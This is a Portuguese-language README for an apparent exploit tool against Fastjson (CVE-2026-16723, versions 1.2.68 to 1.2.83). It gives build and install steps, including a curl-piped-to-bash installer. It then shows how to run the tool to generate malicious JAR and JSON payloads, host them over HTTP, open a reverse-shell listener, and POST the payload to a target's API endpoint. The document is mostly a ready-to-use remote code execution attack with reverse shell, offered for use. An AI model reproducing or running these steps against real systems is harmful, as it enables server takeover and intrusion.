
Exploit para RCE no Fastjson (CVE-2026-16723) visando as versões 1.2.68 a 1.2.83. Gera payloads JAR e JSON, hospeda servidor HTTP e estabelece reverse shell.
Linux (ou WSL no Windows)
Compilador compatível com C++17 (GCC 7+ ou Clang 5+)
CMake 3.10 ou mais recente
Pacotes do sistema:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Instale tudo com um único comando:
curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash
Ou baixe e execute o instalador manualmente:
wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
O script de instalação irá:
Instalar todos os pacotes de sistema necessários.
Baixar as bibliotecas somente de cabeçalho necessárias:
nlohmann/jsoncpp-httplibCompilar o projeto.
Colocar o binário compilado no diretório atual como:
./exploit
Se você clonou o repositório:
git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
Ou compile manualmente:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Execute o binário:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
Após a execução, os seguintes arquivos serão criados:
x
body.json
O servidor HTTP iniciará na porta configurada (padrão: 8000) e a ferramenta aguardará uma conexão de reverse shell de entrada.
Envie o arquivo body.json gerado para o endpoint vulnerável:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
Se a aplicação esperar um campo JSON diferente, especifique-o usando a opção --field.
| Arquivo | Descrição |
|---|---|
x | Payload JAR gerado |
body.json | Payload JSON para enviar ao alvo |
jar:http e jar:file.| Opção | Descrição | Padrão |
|---|
--lhost | Endereço IP local | Obrigatório |
--lport | Porta de escuta do reverse shell | 4444 |
--http-port | Porta do servidor HTTP | 8000 |
--first | Primeiro descritor de arquivo a tentar | 3 |
--last | Último descritor de arquivo a tentar | 30 |
--field | Nome do campo JSON | facets |
--outdir | Diretório de saída | . |
-h, --help | Exibir mensagem de ajuda | — |